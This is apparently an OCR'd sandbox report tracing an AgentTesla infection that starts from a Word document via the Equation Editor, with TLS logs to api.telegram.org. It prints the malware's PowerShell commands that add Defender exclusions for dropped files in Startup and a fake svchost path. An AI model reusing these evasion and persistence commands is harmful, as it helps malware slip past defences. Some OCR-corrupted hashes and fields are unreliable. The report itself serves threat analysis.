Certificate Authority - G2,
O="GoDaddy.com, Inc.",
L=Scottsdale, ST=Arizona,
C=US

OU=Go Daddy Class 2
Certification Authority,
O="The Go Daddy Group,
Inc.", C=US

Issuer

CN=Go Daddy Secure
Certificate Authority - G2,
OU=http://certs.godaddy.c
om/repository/,
0O="GoDaddy.com, Inc.",
L=Scottsdale,
ST=Arizona, C=US
CN=Go Daddy Root
Certificate Authority - G2,
0O="GoDaddy.com, Inc.",
L=Scottsdale,
ST=Arizona, C=US
OU=Go Daddy Class 2
Certification Authority,
O="The Go Daddy Group,
Inc.", C=US OU=Go
Daddy Class 2
Certification Authority,
0O="The Go Daddy Group,
Inc.", C=US

CN=Go Daddy Root
Certificate Authority - G2,
O="GoDaddy.com, Inc.",
L=Scottsdale,
ST=Arizona, C=US

OU=Go Daddy Class 2
Certification Authority,
O="The Go Daddy Group,
Inc.", C=US

OU=Go Daddy Class 2
Certification Authority,
O="The Go Daddy Group,
Inc.", C=US

CN=Go Daddy Secure
Certificate Authority - G2,
OU=http://certs.godaddy.c
om/repository/,
O="GoDaddy.com, Inc.",
L=Scottsdale,
ST=Arizona, C=US
CN=Go Daddy Root
Certificate Authority - G2,
O="GoDaddy.com, Inc.",
L=Scottsdale,
ST=Arizona, C=US
OU=Go Daddy Class 2
Certification Authority,
O="The Go Daddy Group,
Inc.", C=US OU=Go
Daddy Class 2
Certification Authority,
O="The Go Daddy Group,
Inc.", C=US

CN=Go Daddy Root
Certificate Authority - G2,
O="GoDaddy.com, Inc.",
L=Scottsdale,
ST=Arizona, C=US

OU=Go Daddy Class 2
Certification Authority,
O="The Go Daddy Group,
Inc.", C=US

OU=Go Daddy Class 2
Certification Authority,
O="The Go Daddy Group,
Inc.", C=US

Not
Before

Tue Mar
24
14:48:17
CET
2020
Tue May
03
09:00:00
CEST
2011
Wed
Jan 01
08:00:00
CET
2014
Tue Jun
29
19:06:20
CEST
2004

Tue May
03
09:00:00
CEST
2011

Wed

Jan 01
08:00:00
CET
2014

Tue Jun
29
19:06:20
CEST
2004

Tue Mar
24
14:48:17
CET
2020
Tue May
03
09:00:00
CEST
2011
Wed
Jan 01
08:00:00
CET
2014
Tue Jun
29
19:06:20
CEST
2004

Tue May
03
09:00:00
CEST
2011

Wed

Jan 01
08:00:00
CET
2014

Tue Jun
29
19:06:20
CEST
2004

Not
After

Mon
May 23
18:17:38
CEST
2022
Sat May
03
09:00:00
CEST
2031 Fri
May 30
09:00:00
CEST
2031
Thu Jun
29
19:06:20
CEST
2034

Sat May
03
09:00:00
CEST
2031

Fri May
30
09:00:00
CEST
2031

Thu Jun
29
19:06:20
CEST
2034

Mon
May 23
18:17:38
CEST
2022
Sat May
03
09:00:00
CEST
2031 Fri
May 30
09:00:00
CEST
2031
Thu Jun
29
19:06:20
CEST
2034

Sat May
03
09:00:00
CEST
2031

Fri May
30
09:00:00
CEST
2031

Thu Jun
29
19:06:20
CEST
2034

JA3 SSL
Client

Fingerprint  JA3 SSL Client Digest

36f7277af969a6947a61ae
0b815907al

771,49192-
49191-49172-
49171-159-
158-57-51-
157-156-61-
60-53-47-
49196-49195-
49188-49187-
49162-49161-
106-64-56-50-
10-19-5-4,0-
10-11-13-23-
65281,23-24,0

36f7277af969a6947a61ae
0b815907al

771,49192-
49191-49172-
49171-159-
158-57-51-
157-156-61-
60-53-47-
49196-49195-
49188-49187-
49162-49161-
106-64-56-50-
10-19-5-4,0-
10-11-13-23-
65281,23-24,0
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Timestamp

Jun 16, 2021
12:06:38.502058983
CEST

Jun 16, 2021
12:06:43.884701967
CEST

Source

Source IP Port

149.154.167.220 443

149.154.167.220 443

Copyright Joe Security LLC 2021

Dest

Dest IP Port

192.168.2.22 49178

192.168.2.22 49179

Subject

CN=api.telegram.org,
OU=Domain Control
Validated CN=Go Daddy
Secure Certificate Authority
-G2,
OU=http://certs.godaddy.co
m/repository/,
O="GoDaddy.com, Inc.",
L=Scottsdale, ST=Arizona,
C=US CN=Go Daddy Root
Certificate Authority - G2,
O="GoDaddy.com, Inc.",
L=Scottsdale, ST=Arizona,
C=US OU=Go Daddy Class
2 Certification Authority,
O="The Go Daddy Group,
Inc.", C=US

CN=Go Daddy Secure
Certificate Authority - G2,
OU=http://certs.godaddy.co
m/repository/,
O="GoDaddy.com, Inc.",
L=Scottsdale, ST=Arizona,
C=USs

CN=Go Daddy Root
Certificate Authority - G2,
O="GoDaddy.com, Inc.",
L=Scottsdale, ST=Arizona,
C=US

OU=Go Daddy Class 2
Certification Authority,
O="The Go Daddy Group,
Inc.", C=US

CN=api.telegram.org,
OU=Domain Control
Validated CN=Go Daddy
Secure Certificate Authority
-G2,
OU=http://certs.godaddy.co
m/repository/,
O="GoDaddy.com, Inc.",
L=Scottsdale, ST=Arizona,
C=US CN=Go Daddy Root
Certificate Authority - G2,
O="GoDaddy.com, Inc.",
L=Scottsdale, ST=Arizona,
C=US OU=Go Daddy Class
2 Certification Authority,
O="The Go Daddy Group,
Inc.", C=US

CN=Go Daddy Secure
Certificate Authority - G2,
OU=http://certs.godaddy.co
m/repository/,
O="GoDaddy.com, Inc.",
L=Scottsdale, ST=Arizona,
C=US

CN=Go Daddy Root
Certificate Authority - G2,
O="GoDaddy.com, Inc.",
L=Scottsdale, ST=Arizona,
C=US

OU=Go Daddy Class 2
Certification Authority,
O="The Go Daddy Group,
Inc.", C=US

Issuer

CN=Go Daddy Secure
Certificate Authority - G2,
OU=http://certs.godaddy.c
om/repository/,
0O="GoDaddy.com, Inc.",
L=Scottsdale,
ST=Arizona, C=US
CN=Go Daddy Root
Certificate Authority - G2,
0O="GoDaddy.com, Inc.",
L=Scottsdale,
ST=Arizona, C=US
OU=Go Daddy Class 2
Certification Authority,
O="The Go Daddy Group,
Inc.", C=US OU=Go
Daddy Class 2
Certification Authority,
0O="The Go Daddy Group,
Inc.", C=US

CN=Go Daddy Root
Certificate Authority - G2,
O="GoDaddy.com, Inc.",
L=Scottsdale,
ST=Arizona, C=US

OU=Go Daddy Class 2
Certification Authority,
O="The Go Daddy Group,
Inc.", C=US

OU=Go Daddy Class 2
Certification Authority,
O="The Go Daddy Group,
Inc.", C=US

CN=Go Daddy Secure
Certificate Authority - G2,
OU=http://certs.godaddy.c
om/repository/,
O="GoDaddy.com, Inc.",
L=Scottsdale,
ST=Arizona, C=US
CN=Go Daddy Root
Certificate Authority - G2,
O="GoDaddy.com, Inc.",
L=Scottsdale,
ST=Arizona, C=US
OU=Go Daddy Class 2
Certification Authority,
O="The Go Daddy Group,
Inc.", C=US OU=Go
Daddy Class 2
Certification Authority,
O="The Go Daddy Group,
Inc.", C=US

CN=Go Daddy Root
Certificate Authority - G2,
O="GoDaddy.com, Inc.",
L=Scottsdale,
ST=Arizona, C=US

OU=Go Daddy Class 2
Certification Authority,
O="The Go Daddy Group,
Inc.", C=US

OU=Go Daddy Class 2
Certification Authority,
O="The Go Daddy Group,
Inc.", C=US

Not
Before

Tue Mar
24
14:48:17
CET
2020
Tue May
03
09:00:00
CEST
2011
Wed
Jan 01
08:00:00
CET
2014
Tue Jun
29
19:06:20
CEST
2004

Tue May
03
09:00:00
CEST
2011

Wed

Jan 01
08:00:00
CET
2014

Tue Jun
29
19:06:20
CEST
2004

Tue Mar
24
14:48:17
CET
2020
Tue May
03
09:00:00
CEST
2011
Wed
Jan 01
08:00:00
CET
2014
Tue Jun
29
19:06:20
CEST
2004

Tue May
03
09:00:00
CEST
2011

Wed

Jan 01
08:00:00
CET
2014

Tue Jun
29
19:06:20
CEST
2004

Not
After

Mon
May 23
18:17:38
CEST
2022
Sat May
03
09:00:00
CEST
2031 Fri
May 30
09:00:00
CEST
2031
Thu Jun
29
19:06:20
CEST
2034

Sat May
03
09:00:00
CEST
2031

Fri May
30
09:00:00
CEST
2031

Thu Jun
29
19:06:20
CEST
2034

Mon
May 23
18:17:38
CEST
2022
Sat May
03
09:00:00
CEST
2031 Fri
May 30
09:00:00
CEST
2031
Thu Jun
29
19:06:20
CEST
2034

Sat May
03
09:00:00
CEST
2031

Fri May
30
09:00:00
CEST
2031

Thu Jun
29
19:06:20
CEST
2034

JA3 SSL
Client

Fingerprint  JA3 SSL Client Digest

36f7277af969a6947a61ae
0b815907al

771,49192-
49191-49172-
49171-159-
158-57-51-
157-156-61-
60-53-47-
49196-49195-
49188-49187-
49162-49161-
106-64-56-50-
10-19-5-4,0-
10-11-13-23-
65281,23-24,0

36f7277af969a6947a61ae
0b815907al

771,49192-
49191-49172-
49171-159-
158-57-51-
157-156-61-
60-53-47-
49196-49195-
49188-49187-
49162-49161-
106-64-56-50-
10-19-5-4,0-
10-11-13-23-
65281,23-24,0
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Timestamp

Jun 16, 2021
12:06:46.833290100
CEST

Jun 16, 2021
12:06:49.024821043
CEST

Source

Source IP Port

149.154.167.220 443

149.154.167.220 443

Copyright Joe Security LLC 2021

Dest

Dest IP Port

192.168.2.22 49180

192.168.2.22 49181

Subject

CN=api.telegram.org,
OU=Domain Control
Validated CN=Go Daddy
Secure Certificate Authority
-G2,
OU=http://certs.godaddy.co
m/repository/,
O="GoDaddy.com, Inc.",
L=Scottsdale, ST=Arizona,
C=US CN=Go Daddy Root
Certificate Authority - G2,
O="GoDaddy.com, Inc.",
L=Scottsdale, ST=Arizona,
C=US OU=Go Daddy Class
2 Certification Authority,
O="The Go Daddy Group,
Inc.", C=US

CN=Go Daddy Secure
Certificate Authority - G2,
OU=http://certs.godaddy.co
m/repository/,
O="GoDaddy.com, Inc.",
L=Scottsdale, ST=Arizona,
C=USs

CN=Go Daddy Root
Certificate Authority - G2,
O="GoDaddy.com, Inc.",
L=Scottsdale, ST=Arizona,
C=US

OU=Go Daddy Class 2
Certification Authority,
O="The Go Daddy Group,
Inc.", C=US

CN=api.telegram.org,
OU=Domain Control
Validated CN=Go Daddy
Secure Certificate Authority
-G2,
OU=http://certs.godaddy.co
m/repository/,
O="GoDaddy.com, Inc.",
L=Scottsdale, ST=Arizona,
C=US CN=Go Daddy Root
Certificate Authority - G2,
O="GoDaddy.com, Inc.",
L=Scottsdale, ST=Arizona,
C=US OU=Go Daddy Class
2 Certification Authority,
O="The Go Daddy Group,
Inc.", C=US

CN=Go Daddy Secure
Certificate Authority - G2,
OU=http://certs.godaddy.co
m/repository/,
O="GoDaddy.com, Inc.",
L=Scottsdale, ST=Arizona,
C=US

CN=Go Daddy Root
Certificate Authority - G2,
O="GoDaddy.com, Inc.",
L=Scottsdale, ST=Arizona,
C=US

OU=Go Daddy Class 2
Certification Authority,
O="The Go Daddy Group,
Inc.", C=US

Issuer

CN=Go Daddy Secure
Certificate Authority - G2,
OU=http://certs.godaddy.c
om/repository/,
0O="GoDaddy.com, Inc.",
L=Scottsdale,
ST=Arizona, C=US
CN=Go Daddy Root
Certificate Authority - G2,
0O="GoDaddy.com, Inc.",
L=Scottsdale,
ST=Arizona, C=US
OU=Go Daddy Class 2
Certification Authority,
O="The Go Daddy Group,
Inc.", C=US OU=Go
Daddy Class 2
Certification Authority,
0O="The Go Daddy Group,
Inc.", C=US

CN=Go Daddy Root
Certificate Authority - G2,
O="GoDaddy.com, Inc.",
L=Scottsdale,
ST=Arizona, C=US

OU=Go Daddy Class 2
Certification Authority,
O="The Go Daddy Group,
Inc.", C=US

OU=Go Daddy Class 2
Certification Authority,
O="The Go Daddy Group,
Inc.", C=US

CN=Go Daddy Secure
Certificate Authority - G2,
OU=http://certs.godaddy.c
om/repository/,
O="GoDaddy.com, Inc.",
L=Scottsdale,
ST=Arizona, C=US
CN=Go Daddy Root
Certificate Authority - G2,
O="GoDaddy.com, Inc.",
L=Scottsdale,
ST=Arizona, C=US
OU=Go Daddy Class 2
Certification Authority,
O="The Go Daddy Group,
Inc.", C=US OU=Go
Daddy Class 2
Certification Authority,
O="The Go Daddy Group,
Inc.", C=US

CN=Go Daddy Root
Certificate Authority - G2,
O="GoDaddy.com, Inc.",
L=Scottsdale,
ST=Arizona, C=US

OU=Go Daddy Class 2
Certification Authority,
O="The Go Daddy Group,
Inc.", C=US

OU=Go Daddy Class 2
Certification Authority,
O="The Go Daddy Group,
Inc.", C=US

Not
Before

Tue Mar
24
14:48:17
CET
2020
Tue May
03
09:00:00
CEST
2011
Wed
Jan 01
08:00:00
CET
2014
Tue Jun
29
19:06:20
CEST
2004

Tue May
03
09:00:00
CEST
2011

Wed

Jan 01
08:00:00
CET
2014

Tue Jun
29
19:06:20
CEST
2004

Tue Mar
24
14:48:17
CET
2020
Tue May
03
09:00:00
CEST
2011
Wed
Jan 01
08:00:00
CET
2014
Tue Jun
29
19:06:20
CEST
2004

Tue May
03
09:00:00
CEST
2011

Wed

Jan 01
08:00:00
CET
2014

Tue Jun
29
19:06:20
CEST
2004

Not
After

Mon
May 23
18:17:38
CEST
2022
Sat May
03
09:00:00
CEST
2031 Fri
May 30
09:00:00
CEST
2031
Thu Jun
29
19:06:20
CEST
2034

Sat May
03
09:00:00
CEST
2031

Fri May
30
09:00:00
CEST
2031

Thu Jun
29
19:06:20
CEST
2034

Mon
May 23
18:17:38
CEST
2022
Sat May
03
09:00:00
CEST
2031 Fri
May 30
09:00:00
CEST
2031
Thu Jun
29
19:06:20
CEST
2034

Sat May
03
09:00:00
CEST
2031

Fri May
30
09:00:00
CEST
2031

Thu Jun
29
19:06:20
CEST
2034

JA3 SSL
Client

Fingerprint  JA3 SSL Client Digest

36f7277af969a6947a61ae
0b815907al

771,49192-
49191-49172-
49171-159-
158-57-51-
157-156-61-
60-53-47-
49196-49195-
49188-49187-
49162-49161-
106-64-56-50-
10-19-5-4,0-
10-11-13-23-
65281,23-24,0

36f7277af969a6947a61ae
0b815907al

771,49192-
49191-49172-
49171-159-
158-57-51-
157-156-61-
60-53-47-
49196-49195-
49188-49187-
49162-49161-
106-64-56-50-
10-19-5-4,0-
10-11-13-23-
65281,23-24,0
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Timestamp Source IP

Jun 16, 2021
12:06:52.846751928
CEST

Code Manipulations

Statistics

Behavior

)

System Behavior

Source
Port

149.154.167.220 443

Dest

Dest IP Port

192.168.2.22 49182

Click to jump to process

Subject

CN=api.telegram.org,
OU=Domain Control
Validated CN=Go Daddy
Secure Certificate Authority
-G2,
OU=http://certs.godaddy.co
m/repository/,
O="GoDaddy.com, Inc.",
L=Scottsdale, ST=Arizona,
C=US CN=Go Daddy Root
Certificate Authority - G2,
O="GoDaddy.com, Inc.",
L=Scottsdale, ST=Arizona,
C=US OU=Go Daddy Class
2 Certification Authority,
O="The Go Daddy Group,
Inc.", C=US

CN=Go Daddy Secure
Certificate Authority - G2,
OU=http://certs.godaddy.co
m/repository/,
O="GoDaddy.com, Inc.",
L=Scottsdale, ST=Arizona,
C=USs

CN=Go Daddy Root
Certificate Authority - G2,
O="GoDaddy.com, Inc.",
L=Scottsdale, ST=Arizona,
C=US

OU=Go Daddy Class 2
Certification Authority,
O="The Go Daddy Group,
Inc.", C=US

Issuer

CN=Go Daddy Secure
Certificate Authority - G2,
OU=http://certs.godaddy.c
om/repository/,
0O="GoDaddy.com, Inc.",
L=Scottsdale,
ST=Arizona, C=US
CN=Go Daddy Root
Certificate Authority - G2,
0O="GoDaddy.com, Inc.",
L=Scottsdale,
ST=Arizona, C=US
OU=Go Daddy Class 2
Certification Authority,
O="The Go Daddy Group,
Inc.", C=US OU=Go
Daddy Class 2
Certification Authority,
O="The Go Daddy Group,
Inc.", C=US

CN=Go Daddy Root
Certificate Authority - G2,
O="GoDaddy.com, Inc.",
L=Scottsdale,
ST=Arizona, C=US

OU=Go Daddy Class 2
Certification Authority,
O="The Go Daddy Group,
Inc.", C=US

OU=Go Daddy Class 2
Certification Authority,
O="The Go Daddy Group,
Inc.", C=US

Not
Before

Tue Mar
24
14:48:17
CET
2020
Tue May
03
09:00:00
CEST
2011
Wed
Jan 01
08:00:00
CET
2014
Tue Jun
29
19:06:20
CEST
2004

Tue May
03
09:00:00
CEST
2011

Wed

Jan 01
08:00:00
CET
2014

Tue Jun
29
19:06:20
CEST
2004

Not
After

Mon
May 23
18:17:38
CEST
2022
Sat May
03
09:00:00
CEST
2031 Fri
May 30
09:00:00
CEST
2031
Thu Jun
29
19:06:20
CEST
2034

Sat May
03
09:00:00
CEST
2031

Fri May
30
09:00:00
CEST
2031

Thu Jun
29
19:06:20
CEST
2034

JA3 SSL
Client

Fingerprint  JA3 SSL Client Digest

36f7277af969a6947a61ae
0b815907al

771,49192-
49191-49172-
49171-159-
158-57-51-
157-156-61-
60-53-47-
49196-49195-
49188-49187-
49162-49161-
106-64-56-50-
10-19-5-4,0-
10-11-13-23-
65281,23-24,0

Analysis Process: WINWORD.EXE PID: 2028 Parent PID: 584

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:

Copyright Joe Security LLC 2021

12:04:33

16/06/2021

C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

false

‘C:\Program Files\Microsoft Office\Office14\WINWORD.EXE' /Automation -Embedding
0x13f210000
1424032 bytes

95C38D04597050285A18F66039EDB456

true
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Has administrator privileges:
Programmed in:

Reputation:

true
C, C++ or other language

high

File Activities

File Created

File Deleted

File Read

Registry Activities

Key Created

Key Value Created

Key Value Modified

Show Windows behavior

Show Windows behavior

Analysis Process: EQNEDT32.EXE PID: 2736 Parent PID: 584

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

12:04:34
16/06/2021

C:\Program Files\Common Files\Microsoft Shared\ EQUATION\EQNEDT32.EXE

true

‘C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding

0x400000

543304 bytes
A87236E214F6D42A65F5DEDAC816AECS
true

true

C, C++ or other language

Reputation: high
File Activities Show Windows behavior
Registry Activities Show Windows behavior
Key Created
Analysis Process: putty.exe PID: 2760 Parent PID: 2736

General

Start time: 12:04:35

Start date: 16/06/2021

Path: C:\Users\user\AppData\Roaming\putty.exe

Wow64 process (32bit): true

Commandline: C:\Users\user\AppData\Roaming\putty.exe

Imagebase: 0xbc0000

File size: 144168 bytes

MDS5 hash: F72277EEBAF6B7E2891B7BA24188EBDA

Has elevated privileges:
Has administrator privileges:

Programmed in:
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.Net C# or VB.NET
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Reputation:

low

File Activities

Show Windows behavior

File Created

File Deleted

File Moved

File Written

File Read

Registry Activities

Key Created

Key Value Created

Show Windows behavior

Analysis Process: powershell.exe PID: 2852 Parent PID: 2760

General

Start time:

Start date:

Path:

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

12:04:54

16/06/2021
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
true

‘C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -Ex
clusionPath 'C:\Users\user\AppData\Roaming\putty.exe' -Force

0x21f50000

452608 bytes
92F44E405DB16AC55D97E3BFE3B132FA
true

true

.Net C# or VB.NET

Reputation: high
File Activities Show Windows behavior
File Read
Analysis Process: powershell.exe PID: 2428 Parent PID: 2760
General
Start time: 12:04:54
Start date: 16/06/2021
Path: C:\Windows\SysWOWe64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit): true
Commandline: ‘C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -Ex
clusionPath 'C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs
\Startup\e888z168ybTRefC409a4S5mn4lofdd.exe' -Force
Imagebase: 0x21f50000
File size: 452608 bytes
MDS5 hash: 92F44E405DB16AC55D97E3BFE3B132FA

Has elevated privileges:

Has administrator privileges:
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Programmed in: .Net C# or VB.NET
Reputation: high

File Activities Show Windows behavior

File Read

Analysis Process: powershell.exe PID: 2180 Parent PID: 2760

General
Start time: 12:04:55
Start date: 16/06/2021
Path: C:\Windows\SysWOWe64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit): true
Commandline: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -Ex
clusionPath 'C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs
\Startup\e888z168ybTRefC409a4S5mn4lofdd.exe' -Force
Imagebase: 0x21f50000
File size: 452608 bytes
MD5 hash: 92F44E405DB16AC55D97E3BFE3B132FA
Has elevated privileges: true
Has administrator privileges: true
Programmed in: .Net C# or VB.NET
Reputation: high
File Activities Show Windows behavior
File Read

Analysis Process: powershell.exe PID: 2276 Parent PID: 2760

General

Start time: 12:04:56

Start date: 16/06/2021

Path: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Wow64 process (32bit): true

Commandline: ‘C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -Ex

clusionPath 'C:\Users\user\AppData\Roaming\putty.exe' -Force

Imagebase: 0x21f50000

File size: 452608 bytes

MDS5 hash: 92F44E405DB16AC55D97E3BFE3B132FA

Has elevated privileges: true

Has administrator privileges: true

Programmed in: .Net C# or VB.NET

Reputation: high
File Activities Show Windows behavior
File Read

Analysis Process: €8882168ybTRefC409a4S5mn4lofdd.exe PID: 2948 Parent PID:
2760

General
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Start time: 12:04:57

Start date: 16/06/2021

Path: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start
Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe

Wow64 process (32bit): true

Commandline: ‘C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e88
8z168ybTRefC409a4S5mn4lofdd.exe’

Imagebase: 0x1110000

File size: 144168 bytes

MDS5 hash: F72277EEBAF6B7E2891B7BA24188EBDA

Has elevated privileges: true

Has administrator privileges: true

Programmed in: .Net C# or VB.NET

Andiusmaches: e Delecloml¥Reversinglabs

Reputation: low

‘ Analysis Process: powershell.exe PID: 1748 Parent PID: 2760

General

Start time: 12:04:57

Start date: 16/06/2021

Path: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Wow64 process (32bit): true

Commandline: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -Ex
clusionPath 'C:\Windows\Resources\Themes\aero\Shell\52V57U7\svchost.exe' -Force

Imagebase: 0x21f50000

File size: 452608 bytes

MD5 hash: 92F44E405DB16AC55D97E3BFE3B132FA

Has elevated privileges: true

Has administrator privileges: true

Programmed in: .Net C# or VB.NET

Reputation: high

Analysis Process: powershell.exe PID: 2236 Parent PID: 2760

General
Start time: 12:04:58
Start date: 16/06/2021
Path: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit): true
Commandline: ‘C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -Ex
clusionPath 'C:\Users\user\AppData\Roaming\putty.exe' -Force
Imagebase: 0x21f50000
File size: 452608 bytes
MD5 hash: 92F44E405DB16AC55D97E3BFE3B132FA
Has elevated privileges: true
Has administrator privileges: true
Programmed in: .Net C# or VB.NET
Reputation: high
Analysis Process: powershell.exe PID: 1664 Parent PID: 2760
General
Start time: 12:04:59
Start date: 16/06/2021
Path: C:\Windows\SysWOWe64\WindowsPowerShell\v1.0\powershell.exe
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Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

true

'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -Ex
clusionPath 'C:\Windows\Resources\Themes\aero\Shell\52V57U7\svchost.exe' -Force

0x21f50000

452608 bytes
92F44E405DB16AC55D97E3BFE3B132FA
true

true

.Net C# or VB.NET

Reputation: high
Analysis Process: putty.exe PID: 2112 Parent PID: 2760
General
Start time: 12:05:05
Start date: 16/06/2021
Path: C:\Users\user\AppData\Roaming\putty.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MDS5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

Reputation:

true
C:\Users\user\AppData\Roaming\putty.exe
0xbc0000

144168 bytes
F72277EEBAF6B7E2891B7BA24188EBDA
true

true

.Net C# or VB.NET

e Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source:
00000013.00000002.2356991677.0000000000402000.00000040.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source:
00000013.00000002.2356991677.0000000000402000.00000040.00000001.sdmp,
Author: Joe Security

low

Analysis Process: €8882168ybTRefC409a4S5mn41lofdd.exe PID: 3036 Parent PID:

1388
General
Start time: 12:05:07
Start date: 16/06/2021
Path: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

Menu\Programs\Startup\e888z168ybTRefC409a4S5mn4lofdd.exe
true

‘C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e88
82168ybTRefC409a4S5mn4lofdd.exe’

0x1110000

144168 bytes
F72277EEBAF6B7E2891B7BA24188EBDA
true

true

.Net C# or VB.NET

Reputation: low
Analysis Process: svchost.exe PID: 2176 Parent PID: 428

General

Start time: 12:05:16

Start date: 16/06/2021
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Path: C:\Windows\System32\svchost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\System32\svchost.exe -k WerSvcGroup
Imagebase: 0xff0e0000

File size: 27136 bytes

MDS5 hash: C78655BC80301D76ED4FEF1C1EA40A7D

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: moderate

Analysis Process: WerFault.exe PID: 2232 Parent PID: 2176

General

Start time: 12:05:17

Start date: 16/06/2021

Path: C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit): true

Commandline: C:\Windows\SysWOW64\WerFault.exe -u -p 3036 -s 1132
Imagebase: 0x510000

File size: 360448 bytes

MD5 hash: S5FEAB868CAEDBBD1B7A145CA8261E4AA
Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

Analysis Process: powershell.exe PID: 2344 Parent PID: 2948

General

Start time: 12:05:26

Start date: 16/06/2021

Path: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Wow64 process (32bit): true

Commandline: ‘C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -Ex
clusionPath 'C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs
\Startup\e888z168ybTRefC409a4S5mn41lofdd.exe’ -Force

Imagebase: 0x22310000

File size: 452608 bytes

MD5 hash: 92F44E405DB16AC55D97E3BFE3B132FA

Has elevated privileges: true

Has administrator privileges: true

Programmed in: .Net C# or VB.NET

Analysis Process: powershell.exe PID: 2656 Parent PID: 2948

General

Start time: 12:05:26

Start date: 16/06/2021

Path: C:\Windows\SysWOWe64\WindowsPowerShell\v1.0\powershell.exe

Wow64 process (32bit): true

Commandline: ‘C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -Ex
clusionPath 'C:\Windows\Resources\Themes\aero\Shell\52V57U7\svchost.exe' -Force

Imagebase: 0x22310000

File size: 452608 bytes

MDS5 hash: 92F44E405DB16AC55D97E3BFE3B132FA
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Has elevated privileges:
Has administrator privileges:

Programmed in:

true
true

.Net C# or VB.NET

Analysis Process: powershell.exe PID: 2428 Parent PID: 2948

General

Start time:

Start date:

Path:

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MDS5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

12:05:27

16/06/2021
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
true

‘C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -Ex
clusionPath 'C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs
\Startup\e888z168ybTRefC409a4S5mn4lofdd.exe’ -Force

0x22310000

452608 bytes
92F44E405DB16AC55D97E3BFE3B132FA
true

true

Net C# or VB.NET

Analysis Process: powershell.exe PID: 2276 Parent PID: 2948

General

Start time:

Start date:

Path:

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

12:05:28

16/06/2021
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
true

‘C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -Ex
clusionPath 'C:\Windows\Resources\Themes\aero\Shell\52V57U7\svchost.exe' -Force

0x22310000

452608 bytes
92F44E405DB16AC55D97E3BFE3B132FA
true

true

.Net C# or VB.NET

Analysis Process: svchost.exe PID: 1492 Parent PID: 1388

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MDS5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:
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12:05:29

16/06/2021
C:\Windows\Resources\Themes\Aero\Shell\52V57U7\svchost.exe
true
‘C:\Windows\Resources\Themes\aero\Shell\52V57U7\svchost.exe'
0x1300000

144168 bytes

F72277EEBAF6B7E2891B7BA24188EBDA

true

true

.Net C# or VB.NET
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Analysis Process: €8882168ybTRefC409a4S5mn4lofdd.exe PID: 2532 Parent PID:

2948

General

Start time: 12:05:36

Start date: 16/06/2021

Path: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start
Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41lofdd.exe

Wow64 process (32bit): true

Commandline: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888
z168ybTRefC409a4S5mn4lofdd.exe

Imagebase: 0x1110000

File size: 144168 bytes

MD5 hash: F72277EEBAF6B7E2891B7BA24188EBDA

Has elevated privileges: true

Has administrator privileges: true

